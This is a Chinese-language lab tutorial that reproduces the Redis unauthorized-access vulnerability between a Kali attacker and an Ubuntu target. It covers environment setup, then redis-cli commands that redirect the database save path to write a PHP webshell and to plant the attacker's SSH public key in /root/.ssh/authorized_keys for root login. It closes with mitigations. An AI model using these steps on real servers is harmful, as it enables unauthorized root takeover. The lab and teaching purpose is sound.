目录
复现环境
我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单。本文是攻击机是windows和靶机是Linux,kali虚拟机之间的漏洞复现。
攻击机 kali ip 192.168.58.134
靶机 Ubuntu+ssh+Apache ip 192.168.58.129
1.redis简介
Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案
2.redis漏洞原理
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
3.环境搭建
3.1、安装 Apache
Apache 被包含在默认的 Ubuntu 软件源中。
安装非常直接。在 Ubuntu 和 Debian 系统中,Apache 软件包和服务被称为 apache2。
运行下面的命令来更新软件包索引,并且安装 Apache:
sudo apt updatesudo apt install apache2
当安装过程完成,Apache 服务将会被自动启动。
你可以通过输入下面的命令,验证 Apache 是否正在运行:
sudo systemctl status apache2
输出将会告诉你,服务正在运行,并且启动了开机启动。
● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2020-05-09 19:28:40 UTC; 36min ago...
就这些,你已经成功地在你的 Ubuntu 上安装了 Apache,你可以开始使用它了。
我们可以直接在浏览器搜索靶机ip,会出现如下情况,如果没有出现,那么就说明apache配置出错
Apache的配置文件位于:/etc/httpd/conf中的httpd.conf文件
配置可以解析PHP,在配置文件中添加
SetHandler application/x-httpd-php
重启Apache服务
systemctl restart apache2
3.2安装PHP
输入 apt-get install php7.2
3.3靶机安装ssh
ubuntu默认没有安装ssh服务,如果通过ssh连接,需要自己手动安装ssh-server。
可以看到我们还没有安装ssh,所以我们现在装
输入 apt-get install openssh-ssh
启动ssh服务
输入 systemctl start ssh
查看ssh服务是否启动
输入 systemctl status ssh
这样就算启动成功了
4.靶机和攻击机安装redis
1.redis是由C语言所编写,因此需要先下载gcc依赖,所以在安装redis前,我们需要先安装gcc依赖
apt-get install gcc
2.下载redis我这里是下载是2.8.17版本
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis.conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
可以看到我可以在任何地方打开redis服务
Ubuntu也是如法炮制就好
在这里redis-server是服务端,redis-cli是客户端
5.漏洞利用
写入webshell的前提是需要目标开启网页服务的端口,所以使用nmap去探测一下
我们可以看到,在靶机上我们开起了redis服务和web服务,如果你没有开启redis服务请手动在靶机上开启
点击redis-server,就可以开启redis服务了
开始写入webshell
利用:
redis-cli -h ip -p port #不指定端口的话默认是6379
info
config get dir 查看redis数据库路径
config set dir 修改靶机Redis数据库路径save
config set dbfilename redis-test.php
set test-webshell ""
save
在靶机上查看我们写入的文件
6.利用redis漏洞ssh密钥连接
6.1ssh密钥连接流程
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
6.2利用前提
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。就是如下图这样。
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
6.3具体步骤
客户端生成密钥
输入ssh-keygen -t rsa,然后一直回车,这个步骤是在攻击机中生成密钥
可以看到,/.ssh目录下生成了客户端的密钥和公钥
然后打开客户端的id_rsa.pub文件,将内容复制出来
设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,因此我们可以通过kali的ssh私钥连接目标主机,因为服务端发来的是客户端公钥加密的内容,客户端肯定可以用自己的私钥解密服务端发来的内容
我们可以看到authorized_keys中的内容与攻击机的公钥内容一样
set x "\n\n公钥",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
最后ssh连接目标主机,成功获取root权限
输入 ssh -i id_rsa root@靶机IP,如下图可以发现我们ssh获取root权限成功
7出现的问题
7.1服务端没有/.ssh目录
1、安装SSH
sudo apt-get install openssh-server
2、启动服务
/etc/init.d/ssh start
3、重启服务
/etc/init.d/ssh restart
4、生成key
ssh-keygen
之后输入 ls -al 发现产生了/.ssh
8,漏洞解决
1.不使用root权限启动redis
2.限制连接redis的IP
3.修改连接redis的端口
4.配置连接redis的密码